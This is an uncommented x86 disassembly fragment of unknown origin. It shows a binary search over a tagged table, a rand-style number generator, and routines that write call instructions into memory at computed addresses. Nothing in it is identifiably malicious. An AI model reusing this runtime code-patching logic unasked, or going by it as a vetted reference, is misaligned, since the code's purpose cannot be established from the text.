mov esi, dword [0x101d0a8]
mov edx, dword [ebp - 0xb8]
sub eax, ecx
sub ecx, 0x1000000
mov dword [ebp - 0xdc], eax
add esi, 0xffffffff
lea eax, [ecx + edx]
xor edi, edi
cmp esi, ebx
mov dword [ebp - 0xd8], eax
jl 0x104074c
lea esp, [esp]
lea eax, [esi + edi]
cdq
sub eax, edx
sar eax, 1
mov edx, dword [eax*4 + 0x101d0ac]
and edx, 0xfffffff
cmp ecx, edx
jae 0x104073f
lea esi, [eax - 1]
jmp 0x1040744
jbe 0x104074a
lea edi, [eax + 1]
cmp esi, edi
jge 0x1040721
jmp 0x104074c
mov edi, eax
cmp edi, dword [0x101d0a8]
jae 0x10407c8
mov eax, dword [edi*4 + 0x101d0ac]
mov esi, eax
and esi, 0xfffffff
cmp esi, dword [ebp - 0xd8]
jae 0x10407c8
lea ecx, [eax*4]
sar ecx, 0x1e
sar eax, 0x1e
and ecx, 3
and eax, 3
xor edx, edx
sub ecx, 1
je 0x104079f
sub ecx, 1
je 0x1040797
sub ecx, 1
jne 0x10407ab
mov edx, dword [ebp - 0x98]
jmp 0x10407ab
mov edx, dword [ebp - 0x9c]
jmp 0x10407ab
mov edx, dword [ebp - 0x98]
sub edx, dword [ebp - 0x9c]
sub eax, 2
jne 0x10407bd
mov eax, dword [ebp - 0xdc]
add dword [esi + eax + 0x1000000], edx
add edi, 1
cmp edi, dword [0x101d0a8]
jb 0x1040754
lea ecx, [ebp - 0x13c]
push ecx
lea ecx, [ebp - 0x91]
call fcn.01040fd1
test eax, eax
jne 0x10408a2
call fcn.01002871
mov esi, dword [ebp - 0xe0]
add esi, 8
push 0x1000
mov edi, eax
and esi, 0xfffffffc
push esi
and edi, 0xfffff000
call fcn.0103139f
mov edx, dword [ebp - 0xe0]
mov dword [ebp - 0xd8], eax
mov dword [edx + 4], 0x1001218
mov ecx, dword [0x104f4c0]
xor eax, eax
mov dword [ebp - 0x98], 0xffff
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov edx, ecx
shr edx, 0x10
shl eax, 0x10
or eax, edx
shr dword [ebp - 0x98], 0x10
jne 0x104082b
mov dword [0x104f4c0], ecx
xor edx, edx
mov ecx, 0xffff
div ecx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xd8]
add edx, 1
cmp esi, ecx
mov dword [eax - 0x18], edx
mov dword [eax - 4], edi
mov dword [ebp - 0xdc], ebx
jae 0x1040889
lea ecx, [ecx]
mov edx, dword [ebp - 0xdc]
mov dword [esi], edx
add esi, 4
cmp esi, ecx
jb 0x104087a
pop edi
mov ecx, 0x1001218
pop esi
mov dword [eax + 4], ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.01035a40
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x140]
mov edi, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xcc]
mov ecx, esi
sub ecx, 0x14
lea eax, [edi + edx]
je 0x1040935
sub ecx, 1
je 0x104090e
sub ecx, 9
je 0x1040935
mov ecx, dword [ebp - 0x134]
add edi, ecx
xor edi, dword [eax + 0xd]
and edi, 0xfffffff
xor dword [eax + 0xd], edi
mov ecx, dword [eax + 5]
xor ecx, dword [ebp - 0x138]
and ecx, 0xfffffff
xor dword [eax + 5], ecx
mov ecx, dword [eax + 9]
and ecx, 0xffffff80
or ecx, esi
mov dword [eax + 9], ecx
mov ecx, 0x10011d8
sub ecx, eax
sub ecx, 5
mov byte [eax], 0xe8
mov dword [eax + 1], ecx
jmp 0x10409ce
mov ecx, dword [ebp - 0x13c]
shr ecx, 0xf
xor cl, byte [eax + 5]
and cl, 0xf
xor byte [eax + 5], cl
mov ecx, 0x10168da
sub ecx, eax
sub ecx, 5
mov byte [eax], 0xe8
mov dword [eax + 1], ecx
jmp 0x10409ce
mov edx, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x128]
mov edi, edx
mov ebx, ecx
shr edi, 0x11
and edi, 0x1800
shl esi, 0xe
and ebx, 0x1e0
or edi, ebx
mov ebx, dword [eax + 5]
and ebx, 0xffe03fff
or esi, ebx
and esi, 0xfffffcc1
shr edi, 3
or edi, esi
mov esi, edx
and esi, 1
add esi, esi
or edi, esi
mov esi, dword [ebp - 0x130]
mov dword [eax + 5], edi
shr esi, 0x1c
xor esi, dword [eax + 0xd]
shr ecx, 5
and edx, 0x78000
and ecx, 0x1000
or ecx, edx
and esi, 1
xor dword [eax + 0xd], esi
mov edx, dword [eax + 5]
and edx, 0xffffc37f
shr ecx, 5
or ecx, edx
mov dword [eax + 5], ecx
mov ecx, dword [ebp - 0x138]
mov edx, 0x1011379
sub edx, eax
mov dword [eax + 9], ecx
sub edx, 5
mov byte [eax], 0xe8
mov dword [eax + 1], edx
mov edx, dword [ebp - 0xcc]
sub edx, dword [ebp - 0xb0]
mov eax, dword [0x1012f80]
add edx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx + 4], edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01035a40
mov esp, ebp
pop ebp
ret